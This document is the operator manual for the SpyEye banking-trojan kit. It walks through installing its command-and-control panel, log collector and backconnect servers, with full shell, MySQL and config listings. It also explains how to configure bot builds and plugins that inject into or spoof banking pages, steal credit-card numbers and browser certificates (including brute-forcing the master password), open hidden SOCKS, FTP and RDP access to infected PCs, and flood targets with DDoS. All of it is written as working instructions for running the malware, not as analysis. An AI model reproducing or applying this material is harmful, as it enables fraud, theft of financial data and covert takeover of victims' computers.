SpyEye Manual

Installation : Intro

The SpyEye main installation tool is a GNU/Linux Debian 5.0 virtual system. In this operating system there are already installed a webserver with the admin formgrabber as well, ssh-client and other tools. To use the operating system VirtualBox is needed.

* Note. The type of hard disk controller must be strictly SATA:

sata hdd

* Note. Info to login into the system:

login: user
password: pw
root password: pw

workspace:

workspace

* Note. For file sharing with this OS, add a permanent folder in the virtual machine settings, named Input and restart the virtual machine:

Input folder

Installation : Server : Main CP

Admin home needed to take into account statistics for bots, as well as to control them. For it to work you need a webserver installed with PHP support, as well as a mysql database server.

It is divided into primary and client side. Attached to both installers. The server part is a single file - gate.php. The client part is in Sedeb.

Installation. (to install using a virtual OS, supplied with SpyEye)

In the permanent folder Input is necessary to put the distribution of server side Main CP (gate.tgz).

Fill out the distribution from the folder Input and enter the appropriate user's password from the server:

  1. user@debian:~$ scp /home/user/Desktop/Input/gate.tgz root@163.185.19.177:/tmp/
  2. root@163.185.19.177's password:
  3. gate.tgz                       3% 3225KB 3.1MB/s 00:34 ETA

We use the SSH-client (which is found in any Linux by default) to access the server, where we put the gate:

  1. user@debian:~$ ssh root@163.185.19.177

Go to the webserver folder of the host, where will lay the gate, and, create a folder for the admin panel, navigate to the distribution and unpack it:

  1. vds:~# cd /tmp
  2. vds:/tmp# mkdir /var/www/_cp
  3. vds:/tmp# mv gate.tgz /var/www/_cp
  4. vds:/tmp# cd /var/www/_cp
  5. vds:/var/www/_cp# chmod 777 ./
  6. vds:/var/www/_cp# tar -xf gate.tgz && rm gate.tgz

Create a database for the admin and two users for this database (one for the server side, the other for the client):

  1. vds:/var/www/_cp# mysql -u root -p
  2. Enter password:
  3.  
  4. mysql> CREATE DATABASE gate;
  5. Query OK, 1 row affected (0.01 sec)
  6.  
  7. mysql> CREATE USER 'gate'@'localhost' IDENTIFIED BY 'oiugSGIFG*W*&*&F*GEW';
  8. Query OK, 0 rows affected (0.03 sec)
  9.  
  10. mysql> GRANT SELECT, INSERT, DELETE, UPDATE, CREATE, ALTER, DROP ON gate.* TO 'gate';
  11. Query OK, 1 row affected (0.01 sec)
  12.  
  13. mysql> CREATE USER 'gateviewer' IDENTIFIED BY 'iUSFG*888884wregaisdtfv';
  14. Query OK, 0 rows affected (0.03 sec)
  15.  
  16. mysql> GRANT SELECT, INSERT, UPDATE, DELETE ON gate.* TO 'gateviewer';
  17. Query OK, 0 rows affected (0.01 sec)
  18.  
  19. mysql> quit
  20. Bye
  21. vds:~#

Now, in browser, run installer (this folder is found in the root of the admin panel distribution). Specify the details of the DB and user, created above. Set the password to log into the admin area. Finally, you should have something like this:

gate instraller

After clicking the Install button you should get a log like this:

gate instraller log

The server side is set. Now we need to put the client side (found in Sedeb). Similarly to the previous installer, specify the details of the DB and user, and, set a password for login to the admin panel:

maincp instraller

maincp instraller log

Installation complete. Now, regarding the admin panel settings:

maincp settings

There is a single interface for managing files in the admin panel. It is implemented in the Files tab:

maincp files upload

There are three types of jobs created:

Respectively, when loading a file, need to specify what type of job it is. When you create jobs in the Create Task tab, you can specify additional options:

maincp create task

Actually, there are 4 possible combinations of these flags to update the bot exe. Update scenaries for each of these cases differ from each other:

To specify the Load exe type you also have the use build-in pe loader option, but keep in mind that the exe entry point using PE-loader should be strictly a prototype:

typedef VOID (__stdcall *EMPTYENTRYPOINT)();

In the next phase of the job, you can select specific bots, for which this task is intended:

maincp create task (step2)

In the Task Statistic tab you can see details of the old job:

maincp create task (step3)

Installation : Server : Backconnect Server (for SOCKS5 & FTP)

To work with the bots through the SOCKS5 protocol, or FTP, there's a backconnect server for GNU/Linux.

Installation. (to install using a virtual OS, supplied with SpyEye)

In the permanent location Input you need to put the backconnect-server distribution (distrbc.tgz).

  1. user@debian:~$ scp /home/user/Desktop/Input/distrbc.tgz root@163.185.19.177:/tmp/
  2. root@163.185.19.177's password:
  3. distrbc.tgz                                   100%  770KB 770.5KB/s   00:00  

We use the SSH-client (which is found in any Linux by default) to access the server, where we will put backconnect-server:

  1. user@debian:~$ ssh root@163.185.19.177
  2. root@163.185.19.177's password:
  3.  

Put the file where you want, unpack, set up rights:

  1. S130:~# cd /tmp
  2. S130:/tmp# mkdir /home/_BC
  3. S130:/tmp# mv distrbc.tgz /home/_BC
  4. S130:/tmp# cd /home/_BC
  5. S130:/home/_BC# tar -xf distrbc.tgz && rm distrbc.tgz
  6. S130:/home/_BC# chmod 777 ./BC
  7. S130:/home/_BC# chmod 777 ./

Create a DB for the bc-server and mysql-user for this DB

  1. S130:/home/_BC# mysql -u root -p
  2. Enter password:
  3. Welcome to the MySQL monitor.  Commands end with ; or \g.
  4. Your MySQL connection id is 30407
  5. Server version: 5.0.51a-24+lenny4-log (Debian)
  6.  
  7. Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
  8.  
  9. mysql> CREATE DATABASE bc;
  10. Query OK, 1 row affected (0.02 sec)
  11.  
  12. mysql> CREATE USER 'bcuser' IDENTIFIED BY 'bcpassw';
  13. Query OK, 0 rows affected (0.00 sec)
  14.  
  15. mysql> GRANT SELECT, INSERT, DELETE, UPDATE, DROP, ALTER, CREATE ON bc.* TO 'bcuser';
  16. Query OK, 0 rows affected (0.00 sec)
  17.  
  18. mysql> quit
  19. Bye

Using a text editor like nano edit the config:

  1. S130:/home/_BC# nano config.xml
  1. version="1.0" encoding="utf-8"?>
  2. >
  3.   >7000>
  4.   >7002>
  5.   >5>
  6.   >8>
  7.   >5000>
  8.   >10000>
  9.   >>
  10.   >>
  11.   >GeoIPCity.dat>
  12.   >localhost>
  13.   >bcuser>
  14.   >bcpassw>
  15.   >bc>
  16.   >bots>
  17. >

Accordingly, the config variables:

Now run the server. There must be something like this:

  1. S130:/home/_BC# ./BC -d
  2.  
  3. New discriptors limits: current/max = 123000/123000
  4.  
  5. In future we will use configuration file absolute path:
  6. /home/_BC
  7.  
  8.  
  9.                           Now I become a daemon! >)                              
  10. S130:/home/_BC#

* Note. It makes sense to setup this daemon to autostart by analogy on how is described in the Collector's instalation.

We can only adjust the main admin panel to read the list of bots from the port of the daemon.

Installation : Server : Collector

The collector is a daemon under GNU/Linux OS, taking logs from bots. The protocol, used to send the logs based on TCP and is called Sausages. It uses encryption and LZO-compression. The daemon listens on a specific port for logs from bots and puts them in a mysql-DB. Thereby, to work, it has to be run under GNU/Linux and mysql. In addition, for its installation is required SSH-server access.

Installation. (to install using a virtual OS, that comes with SpyEye)

In the permanent folder Input is needed to be put the collector distribution (distr.tgz).

We use the SSH-client (which is found in any Linux by default) to access the server, where we will put the collector:

  1. user@debian:~$ ssh root@163.185.19.177

Now create a folder where will lie the collector:

  1. S130:~# cd /home
  2. S130:/home# mkdir _sec
  3. S130:/home# cd _sec

In a new terminal window, upload to server the distr.tgz from your folder Input and enter the appropriate user's password from the server:

  1. user@debian:~$ scp /home/user/Desktop/Input/distr.tgz root@163.185.19.177:/home/_sec/
  2. root@163.185.19.177's password:
  3. distr.tgz                       91% 2160KB 1.8MB/s 00:01 ETA

Unpack the archive, run the script issuing rights to files, perform some file operations:

  1. S130:/home/_sec# tar -xf distr.tgz
  2. S130:/home/_sec# dir
  3. distr.tgz  permissions.sh  SpyEyeCollector
  4. S130:/home/_sec# rm distr.tgz
  5. S130:/home/_sec# dir
  6. permissions.sh  SpyEyeCollector
  7. S130:/home/_sec# sh permissions.sh
  8. S130:/home/_sec# rm permissions.sh
  9. S130:/home/_sec# mv SpyEyeCollector/* ./
  10. S130:/home/_sec# rmdir SpyEyeCollector/
  11. S130:/home/_sec# ls -l
  12. total 4788
  13. drwxr-xr-x   2 root     root         4096 Jan 18 06:55 configs
  14. -rwxr--r--   1 root     root      3853420 Oct 11 09:51 sec
  15. -rwxr--r--   1 root     root      1031548 Aug 15 17:24 sec-manager
  16. drwxr-xr-x   2 root     root         4096 Jan 18 06:55 tables

Now create a DB for the collector and the mysql-user with rights to this DB

  1. S130:/home/_sec# mysql -u root -p
  2. Enter password:
  3. Welcome to the MySQL monitor.  Commands end with ; or \g.
  4. Your MySQL connection id is 30407
  5. Server version: 5.0.51a-24+lenny4-log (Debian)
  6.  
  7. Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
  8.  
  9. mysql> CREATE DATABASE testfrmcp;
  10. Query OK, 1 row affected (0.02 sec)
  11.  
  12. mysql> CREATE USER 'testfrmcp'@'localhost' IDENTIFIED BY 'uYGASGFUGSUFu^U^#$W^R====';
  13. Query OK, 0 rows affected (0.00 sec)
  14.  
  15. mysql> GRANT SELECT, INSERT, CREATE ON testfrmcp.* TO 'testfrmcp';
  16. Query OK, 0 rows affected (0.00 sec)
  17.  
  18. mysql> quit
  19. Bye

Next, use a text editor like nano, edit the configuration of collector, input the DB and user info created above:

  1. S130:/home/_sec# nano ./configs/sec.config
  1. GNU nano 2.0.7                File: ./configs/sec.config                            Modified  
  2.  
  3. ################################################################################
  4. # [SpyEye Collector v0.3.9] configuration file.
  5. #
  6.  
  7. listening port for logs         = "8080"
  8. listening IP-addr for logs      = "0.0.0.0"
  9.  
  10. max established connections     = "200"
  11. # Limit of 5 connections enough for handle 1'000 logs in one minute.
  12.  
  13. max unprocessed logs queue size = "111000"
  14. # Each log allocate minimum 4 KBytes of memory,
  15. # so if you have 100 MBytes of free memory you can
  16. # store about 100*1024/4 = 102400/4 = 25600 logs (in fact number little less).
  17. # This can be used when MySQL server has down and can't process requests.
  18. # When MySQL get up all logs will be inserted into DB.
  19. # If you reach this limit, collector will stop accept new connections.
  20.  
  21. mysql db name     = "testfrmcp"
  22. mysql host        = "127.0.0.1"
  23. # port = 0 -- is told to MySQL that we want to connect under unix socket.
  24. # By several test we can say that this up perfomance by 10~40%.
  25. # mysql port        = "0"
  26. mysql port        = "3306"
  27. mysql unix socket = ""
  28. mysql username    = "testfrmcp"
  29. mysql password    = "uYGASGFUGSUFu^U^#$W^R===="
  30.  
  31. ### End of config.

Now you can start the collector:

  1. S130:/home/_sec# ./sec -d

If done correctly, run log will be approximately like this:

  1. ===============================================================================
  2.  ] ] ] ]] ]] ]] ]]] [[[ ]]] SpyEye Collector v$Hi DC$
  3. ===============================================================================
  4.  
  5. We have next limits for file(=socket) descriptors: current = 1024; max = 1024
  6. Try to change it: current to 100000; max to 100000;
  7.  * * *   New limits: current = 100000; max = 100000
  8.  
  9. Default config path: "configs/sec.config".
  10. Get query of creating table from file: table_screens.sql
  11. Opened file: "/home/_sec/tables/table_screens.sql"; size = 403
  12. Table name(4): scr_
  13. Get query of creating table from file: table_reports.sql
  14. Opened file: "/home/_sec/tables/table_reports.sql"; size = 424
  15. Table name(5): rep2_
  16. Get query of creating table from file: table_register.sql
  17. Opened file: "/home/_sec/tables/table_register.sql"; size = 623
  18. Table name(4): rep1
  19. Get query of creating table from file: table_hostban.sql
  20. Opened file: "/home/_sec/tables/table_hostban.sql"; size = 202
  21. Table name(7): hostban
  22. Get query of creating table from file: table_exceptions.sql
  23. Opened file: "/home/_sec/tables/table_exceptions.sql"; size = 3392
  24. Table name(11): exceptions_
  25. Get query of creating table from file: table_creditcards.sql
  26. Opened file: "/home/_sec/tables/table_creditcards.sql"; size = 308
  27. Table name(3): ccs
  28. Get query of creating table from file: table_certifications.sql
  29. Opened file: "/home/_sec/tables/table_certifications.sql"; size = 500
  30. Table name(4): cert
  31.  
  32.  * * *   Config successful readed.
  33.  
  34.  
  35. Table names:
  36. (04) scr_
  37. (05) rep2_
  38. (04) rep1
  39. (07) hostban
  40. (11) exceptions_
  41. (03) ccs
  42. (04) cert
  43.  
  44. MySQL :: Host: 127.0.0.1; user: testfrmcp; passX2: **************************************************; DB: testfrmcp; port: 3306; Unix socket: ; flags:
  45.  * * *   MySQL connection success.
  46.  
  47. Try to make clerk socket ...
  48.   Successful. Descriptor = 3                                                    
  49. Try to bind socket to my addr: INADDR_ANY:8080. ...
  50.   Successful. Try to make it reusable...  Successful.
  51.  
  52.                           Now I become a daemon! >)

The provided manager, allows you to view performance statistics of the daemon. Run it:

  1. S130:/home/_sec# ./sec-manager

If the collector is running, it will display something like this:

  1.   Look for SpyEyeCollector.   /
  2.  
  3. version of Collector = $Hi DC$; addr = (INADDR_ANY=)0.0.0.0:8080
  4. Child(#1);  PARENT uptime = 0d 00:01:41; CHILD uptime = 0d 00:01:41;
  5.  
  6. Statistic receiving.
  7. | ESTABLISHED right now connections on selected port: 8080
  8. | | All connections to selected port from bots and anybody
  9. | |  \     Time out connection (10 seconds no active) without any data
  10. | |   \     \     Time Out connections with some data (well, try to accept it)
  11. | |    \     \     \     Memorized reports queue size
  12. | |     \     \     \     \     Initialization bot in new application/PC
  13. | |      \     \     \     \     \      Reports inserted into DataBase
  14. | |       \     \     \     \     \      \      Baned Reports by host ban table
  15. | |        \     \     \     \     \      \      \        MiBytes Received
  16. | |         \     \     \     \     \      \      \        \     MiBytes Unpack
  17. |  \         \     \     \     \     \      \      \        \     \  MiByte->DB
  18. |ESTA TotalConn TmOut TOu&d RQSize HitBot ValidRep  BanRepo  Recv  UnPkg Qryed
  19. ^C``0 ```````14 ````0 ````0 `````0 `````0 ```````0 ```````0 ````0 `````0 ````0

* Attention! Do not forget to add a line in the autostart (so, after a reboot, the collector is up and again taking the logs). Need to edit the file /etc/rc.local. You should get something like this:

  1. #!/bin/sh -e
  2. #
  3. # rc.local
  4. #
  5. # This script is executed at the end of each multiuser runlevel.
  6. # Make sure that the script will "exit 0" on success or any other
  7. # value on error.
  8. #
  9. # In order to enable or disable this script just change the execution
  10. # bits.
  11. #
  12. # By default this script does nothing.
  13.  
  14. /home/_sec/sec -d
  15.  
  16. exit 0

* Note. To restart the daemon, use the program killall, wait (5 minutes), until it "closes" the sockets on the listening port used by collector and restarts it.

* Note. To determine - wether a port is busy or not on the server, use something like this:

  1. netstat --inet -npo | grep ':80'

Installation : Server : RDP Backconnect Server

The server is a statically compiled binary for GNU/Linux OS. The daemon stores the info about the connected clients in a mysql database.

Installation. (to install using a virtual OS, that comes with SpyEye)

In the permanent folder Input you must put the RDP-daemon distribution (debian.x86.tar.bz2).

Get the distribution from Input folder and enter the appropriate user's password from the server (in this case, to transfer the file is not used scp, but cat & ssh, because in some cases, conflicts can arise with different versions of glibc):

  1. debian:/home/user# cat /home/user/Desktop/Input/debian.x86.tar.bz2 | ssh root@163.185.19.177 "cat > /tmp/debian.x86.tar.bz2"
  2. root@163.185.19.177's password:

Go to SSH. Unpack the archive, install the daemon:

  1. debian:/home/user# ssh root@163.185.19.177
  2. root@163.185.19.177's password:
  3.  
  4. S130:~# cd /tmp
  5. S130:/tmp# tar -xf debian.x86.tar.bz2 && rm debian.x86.tar.bz2
  6. S130:/tmp# cd dists/debian.x86/
  7. S130:/tmp/dists/debian.x86# make install
  8. Directory doesn't exist. Creating...
  9. Copying config...
  10. install -c -m 0755 dae /usr/sbin/dae
  11. install -c -m 0755 dae.init /etc/init.d/dae;
  12. update-rc.d dae defaults 99;
  13. Adding system startup for /etc/init.d/dae ...
  14. /etc/rc0.d/K99dae -> ../init.d/dae
  15. /etc/rc1.d/K99dae -> ../init.d/dae
  16. /etc/rc6.d/K99dae -> ../init.d/dae
  17. /etc/rc3.d/S99dae -> ../init.d/dae
  18. /etc/rc2.d/S99dae -> ../init.d/dae
  19. /etc/rc4.d/S99dae -> ../init.d/dae
  20. /etc/rc5.d/S99dae -> ../init.d/dae

Create a mysql-user (it will be used in the main admin panel settings, for a list of bots included with RDP-plugin):

  1. S130:/tmp# mysql -u root -p
  2. Enter password:
  3. Welcome to the MySQL monitor.  Commands end with ; or \g.
  4. Your MySQL connection id is 35862
  5. Server version: 5.0.51a-24+lenny4-log (Debian)
  6.  
  7. Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
  8.  
  9. mysql> CREATE DATABASE rdp;
  10. Query OK, 1 row affected (0.00 sec)
  11.  
  12. mysql> CREATE USER 'rdp' IDENTIFIED BY 'ZjkSBDFJKSFGUURFG';
  13. Query OK, 0 rows affected (0.00 sec)
  14.  
  15. mysql> GRANT SELECT, INSERT, DELETE, UPDATE, DROP, ALTER, CREATE ON rdp.* TO 'rdp';
  16. Query OK, 0 rows affected (0.00 sec)
  17.  
  18. mysql> quit
  19. Bye

Edit the daemon config:

  1. S130:/tmp/dists/debian.x86# nano /etc/dae/dae.conf
  1.   GNU nano 2.0.7                                                             File: /usr/local/etc/sshd_config                                                                                                                                
  2.  
  3. [options]
  4. mysql_host = localhost
  5. mysql_port = 3306
  6. mysql_db = testdb
  7. mysql_user = test
  8. mysql_pass = testpass
  9. mysql_table_rdp = rdptb
  10. mysql_table_logs = logstb
  11.  
  12. cfg_file_log_enabled = 1
  13. cfg_file_log = /etc/dae/main.log
  14. cfg_file_log_maxsize = 10485760
  15.  
  16. cfg_file_blacklist = /etc/dae/blacklist.log
  17. cfg_ip_address = 0.0.0.0
  18.  
  19. cfg_rdp_port_in = 30000
  20. cfg_rdp_port_out = 30010
  21.  
  22. magic_code = some_magic_code

You can change the following parameters (marked with red are the ones that need to be changed):

Now you can start the daemon:

  1. S130:/tmp/dists/debian.x86# /etc/init.d/dae start

Everything. Daemon is ready.

Installation : Client : Formgrabber CP (Collector's GUI)

For searching info in the collector database there is a PHP interface as formgrabber admin panel. The admin panel is not intended to be found on the server. This is a client application. So, first of all, we go to the virtual system (information about which is described in the Intro).

So, you must first connect to the server, where is the collector DB. To do this use the gnome-terminal and the SSH-client:

  1. user@debian:~$ ssh root@163.185.19.177

Now you need to connect to the mysql daemon, create a new user, and specify that user rights to use the collector DB:

  1. S130:~# mysql -u root -p
  2. Enter password:
  3.  
  4. mysql> CREATE USER 'frmcpviewer' IDENTIFIED BY 'SgFGSADGFJSDGKFy2763272qffffHDSJ';
  5. Query OK, 0 rows affected (0.00 sec)
  6.  
  7. mysql> GRANT SELECT, INSERT, UPDATE, DELETE ON frmcp3.* TO 'frmcpviewer';
  8. Query OK, 0 rows affected (0.00 sec)
  9.  
  10. mysql> quit

Also check, that the mysql daemon listens and the server external IP:

  1. S130:~# whereis mysql
  2. mysql: /usr/bin/mysql /etc/mysql /usr/share/mysql /usr/share/man/man1/mysql.1.gz
  3. S130:~# nano /etc/mysql/my.cnf
  4. S130:~#

Use the search function in an editor like nano (Ctrl + W) for string network. Among the results must be:

  1. #
  2. # Instead of skip-networking the default is now to listen only on
  3. # localhost which is more compatible and is not less secure.
  4. bind-address            = 0.0.0.0

If is not, then do it :), and restart the mysql-daemon:

  1. S130:~# /etc/init.d/mysql restart

Now you can open iceweasel (firefox name in Debian, ice weasel...) and proceed to the installer of the formgrabber panel, setting the info about the collector and the mysql-user DB, created above:

formgrabber instraller

After clicking Install, must be something like this:

formgrabber instraller logs

Now you can go to the admin panel and search for logs:

formgrabber interface

Installation : Client : Builder : serial.txt

When you first run the builder this screen appears:

hwid

This is the Hardware Identificator. Scroll box, press Ctrl + C and send this text to the author to obtain the contents of the file serial.txt.

Configuration : Client : Builder

Builder looks like this:

builder

Accordingly, builder settings:

The process of creating the build and its config is as follows:

Thus, in the builder folder will appear config.bin, that can be uploaded into the bot admin panel, which can be shipped.

Configuration : Client : Builder : plugins

In builder directory there's a folder plugins. It may contain plugins (*.dll) and configs (*.dll.cfg). The name of the dll defines the plugin name, that will be displayed in the main control panel. This config file should be named, as a result of concatenating the plugin's name and the postfix ".cfg.dll". Example. socks5.dll and socks5.dll.cfg.

For more information about plugins see SpyEye Plugin's SDK.

Configuration : Client : Builder : screenshots

In the builder directory there's a folder screenshots. It may contain plain-text files with the rules of collecting screenshots. Screenshots are made when you click the mouse. Moreover, in the center of the screenshot is the mouse cursor.

Rules file contains lines, each of which must contain five variables, separated by spaces. Format is as follows:

%URL_MASK% %WIDTH% %HEIGHT% %MINIMUM_CLICKS% %MINIMUM_SECONDS%

Rule off only when the last two options will work (MINIMUM_CLICKS AND MINIMUM_SECONDS). Both!

The question arises - why the last two variables are needed? Because there are problems connected with screenshots. The bot has enough difficulty to know what page was clicked (for example, because the browser can have many tabs). Therefore, there exist the last two variables - one way or another (based on the number of clicks and time elapsed since the load of the HTTP-resource, specified in URL_MASK) turns off screenshots rule.

* Attention! Note the syntax. Do not add a hyphen line (Enter) at the end of any rules file. When joining files, the builder will add it automatically.

So, once again. No need to add enter at the end of the screenshots rules file:

screenshots_rule

Configuration : Client : Builder : webinjects

In builder directory there's a folder webinjects. It may contain plain-text files with injections rules for HTTP(/HTTPS)-resources. Injections format - Zeus-like. However, they don't support all the flags of mask set_url. Nevertheless, supported flags, quite enough, to talk about a full compatibility with Zeus-native injections. About unsupported flags will be discussed below.

So, a little bit about the syntax.

The file contains the rules in blocks of four tags: set_url, data_before, data_inject, data_after (well, plus tag data_end indicating the end of the tag with the data_).

An example of a webinjects rules file:

webinjects_example

* Note. In practice, it was found a quite amusing behavior of BOA webserver using HTTP 1.0 (this version of HTTP uses SpyEye to inject pages in the browser Mozilla Firefox). On some resources (*.css, *.js) the webserver returns compressed content, while in the Content-Encoding was not specified that the content is compressed. Led it to the fact that the browser can recognize the content of such resources Invalid Content and the page displays incorrectly. Despite of such webservers, this can be fixed with the aid of SpyEyejust making an empty rule (with empty tags data_before, data_inject and data_after) to inject *.css and *.js resources.

Differences between SpyEye injetions and Zeus injections:

Configuration : Client : Builder : collectors.txt

In the builder directory must be located the file collectors.txt. In the file you can register a list, each line has the following format (the lines are separated by Enter):

ip:port

I.e. that IP, where is setup SpyEye Collector and PORT, on which the collector listens for logging.

In principle, instead of IP you can specify a domain name (Attention! That domain name, without the prefix "http://" or "https://", for protocol, used to communicate with the collector - TCP, and not HTTP).

* Note. Better bind collector on any known, "common" port (80 or 443), because in some local area networks, routers can block the sending of traffic to the non-standard ports.

* Note. If you can not send data to the first collector, the bot will attempt to send data using a collector listed below (the interval between attempts is 0.1 sec). If the bot reaches the end of the list and sending the data did not succeed, it will save the report in a special storage and will try to send the data at the next logs sending.

Configuration : Client : Builder : customconnector

customconnector is a plugin for bot connection with the main admin panel (gate.php). its dll and configuration file is located in the builder plugins. Each line in this config has the following format:

url;interval_in_sec

If for some reason you do not have the plugin customconnector, then the builder, when building will produce the following config WARNING:

customconnector-warning

* Note. If the webserver does not respond, the bot will knock on the admin panel below in the list (pause between attempts will correspond to the intervals specified in the config plugin). If the boat reaches the end of the list, it goes back to the first admin panel and so on.

Configuration : Client : Builder : dns.txt

There were found some cases with domain names banned on the local DNS-servers of some specific countries. Because of this, you can specify your own DNS-servers list. It makes sense to specify as popular DNS-server type google dns. In this case, the bot, to resolve the domains from customconnector.dll.cfg or collectors.txt files will primarily use the DNS-servers, that are listed in dns.txt.

The syntax is exactly the same as in collectors.txt

* Note. Be careful, choosing the DNS-servers. The problem is that if the domain does not exist (or is blocked), that DNS-server could not return any IP. There are DNS-servers, which return the IP even in the case the domain does not exist (for example, OpenDNS). This is meant to redirect to a DNS-service site:

wtf with dns

That such should not be. To test the operation of a DNS server is provided the dnsclient.exe tool

Configuration : Client : Plugins : webfakes

Webfakes plugin can be used to spoof the contents of HTTP and HTTPS resources without recourse to the original web server in IE and FF. Config plugin in compatible format to Zeus webfakes and looks as follows:

entry "WebFakes"
%URL_MASK% %URL_REDIRECT% %FLAGS% %POST_BLACK_MASK% %POST_WHITE_MASK% %BLOCK_URL% %WEBFAKE_NAME% %UNBLOCK_URL%
end

* Note. There are some kind of problematic working fakes in FF browser. Due to the nature of nspr4 API library, POST-request data, received for analysis in the fakes plugin, limited to the length of 4KB. That is, when drwaing up the fakes rule, be careful - to use of such POST-request variables, which include the first 4KB of HTTP-request (including the size of the HTTP-header).

* Note. The plugin doesn't require to be started manually in the admin panel.

Configuration : Client : Plugins : ddos

DDoS plugin can be used to perform a flood on an target (ex: abuse.ch). Example plugin configuration is below

type target port time
type target port time

* Note. The plugin supports multiple flood tasks seperated by new line. (Moves onto next task after completition previous task)

* Note. The slowloris does not use port!.

* Note. The plugin requires to be started manually in the admin panel.

Configuration : Client : Plugins : ccgrabber

The plugin collects CC, analyzing POST-requests applications. For detecting the CC numbers is used the Luhn algorithm. If found a valid CC number, then all the POST-request is sent to the collector. Finding the ripped CC can be done through an appropriate search interface in the admin formgrabber panel:

ccgrabber

* Note. The plugin doesn't require to be started manually in the admin panel.

Configuration : Client : Plugins : ffcertgrabber

SpyEye has a basic equipment involved in grabbing certificates from Windows crypto-storage. However, Firefox uses its own certificate store. Because of that, there is a special plugin for grabbing certificates from FF. It provides password guessing by dictionary, in the case of the profile has a master password.

In the plugin config there's only one value - minimum time to wait before sending the certificate to the collector (indicated in seconds).

Ripped certificates are prefixed with "FF ; ". Search can be performed in the same place where are located the IE certificates:

ffcertgrabber

* Note. The plugin does not require to be started manually from the admin panel.

* Note. Password for ripped certificate import check with the author.

Configuration : Client : Plugins : socks5 backconnect

Properly, the plugin starts a SOCKS5 server on the bot and provides access to the server via backconnect. Is available in the main admin panel, allowing to display a list of socks:

sockslist

They can be used through any software, that supports SOCKS5 protocol. It is recommended to use Proxifier (provided with keygen in the directory tools)

Plugin's config has the following structure:

%BOTNAME%;%IP%;%PORT%;%RECONNECT_INTERVAL_MSEC%;%AUTORUN_FLAG%

* Note. The plugin requires to be started manually in the admin panel (if wasn't used the %AUTORUN_FLAG% flag).

Configuration : Client : Plugins : ftp backconnect

Actually, the plugin starts up an FTP server on the bot and gives you access to it through backconnect server. It is available in the main admin interface, allowing to display a list of FTPs:

ftplist

Connect to the bot through either FTP-manager. Recommended by Total Commander.

Plugin config is the same as for the socks plugin, except one difference - %PORT% need to specify that, in the Backconnect Server (for SOCKS5 & FTP) section is called ftp_port.

* Note. The plugin requires to be started manually in the admin panel (if wasn't used the %AUTORUN_FLAG% flag).

Configuration : Client : Plugins : rdp backconnect

This plugin starts up RDP-server and forwards it to the Backconnect server. In addition, the plugin implements the creation of a hidden user, which is needed to remotely use the PC with RDP. Still, the plugin provides the control panel to start any management from any user logged into the system (so you can create a process on behalf of the original users). Moreover, in the plugin have a built-in portable version TotalCommander, downloadable from internet and runs dirrectly from memory (without a dump to disk).

* Note. TotalCommander rocks!

* Note. The plugin doesn't need to restart the OS to work.

So. Plugin config has approximately the following structure:

%IP_OF_BC_SERVER%:%PORT_OF_BC_SERVER%;%MAGIC_CODE%;%WINDOWS_LOGIN%;%WINDOWS_PASSWORD%;%URL_TO_PORTABLE_TCMD%

The plugin is started manually in the admin panel. List of bots can be seen in the corresponding menu item (RDP). The connection to the bot can be done via standard Windows tool mstsc.exe Remote Desktop Connection:

rdp usage example

Disadvantages of the current version of the plugin:

Naturally, in the following versions of the plugin, these problems will be solved. But now (excluding the exceptions described above), the plugin works fine on all x86 OS starting with XP, including the OS Vista+, with the included UAC.

Configuration : Client : Plugins : bugreport

* Attention! For the persons, who have no experience with the debugger, this plugin is contraindicated.

If your machine happens to get something like a bot crash type:

crashexample

Then, the bot, with the help of this plugin can send technical information about the cause of the crash

The plugin hooks ntdll!KiUserExceptionDispatcher() and, if there is one of the following exceptions:

... then, the plugin can send detailed error information (including disasm code, where the exception occured ... registers, stack etc.) and about the system to the collector. In turn, in the formgrabber panel, you can turn on the display menu BUGS and look for different exceptions:

bugs item turn on
bugs find interface

With this plugin you can identify problems occuring on the PC holder. That is partially substituted for full JIT-debugger.

The plugin config has some options (can have in the config as keywords).

Configuration : Client : Plugins : jabbernotifier

The plugin can can be used for notification on holder entry to one or another link via jabber.

P.S.:
Opensource plugin, therefore, its functionality can be extended. For example, to make sure that when entering a specific link, the holder immediately starts the SOCKS or RDP plug-in.

entry "JabberNotifier"
%URL_MASK% %FLAGS% %POST_MASK%
end

Preferences as to how and where to send the message, specified in the settings of the main admin panel (jabber_notifier section).

* Note. The plugin doesn't require to be started in the admin panel.

Configuration : Client : Tools : uninstaller.exe

This tool is needed to uninstall the bot from system (for example, if you're testing the bot and want to quickly update its configuration, just execute it and run the bot with the new config ... or just want to heal the system from accidental contamination of the bot). To work you need the file settings.ini (produced by the builder). The tool reads out the bot mutex name and the bot exe name. Based on the mutex name, the tool generates the mutex name, required for removal of the bot from the system, and, actually, creates it. After a while, the tool deletes the bot file. There are several messages, which this tool can deliver:

Configuration : Client : Tools : configdecoder.exe

This tool needs, to see the contents of config.bin (For example, in case of, if you want to verify the presence or the absence of a plugin/webinjects/etc. in the bot config). Naturally, in order to reveal the configuration, you need the enc. key, recorded in the settings.ini (produced by the builder). If the enc. key is correct, the tool will create a folder !config.bin and will put the contents of the config.bin

Configuration : Client : Tools : WebInjectesDev

WebInjectesDev is a set of tools for developing and testing injects. Consists of:

So. You place your webinjects in "C:\webinjects.txt", and inject the dll into the appropriate browser. After that, the code is embedded in the browser, that checks the webinjects file for changes. If there are changes, then the injects are loaded into the browser. This approach saves time when making changes to a webinjects file to dislay them in a browser. I.e. to test or write webinjects, you don't need a bot running in the system. Simply use the dll's in the complete WebInjectesDev.

To ensure proper operation of the injects-grabbers, you can use DebugView. The embedded code in the browser sends back the result of the grabbed injects.

It looks like this (right - injects file editor, left - FF with embedded ffhookdll.dll):

injects-prev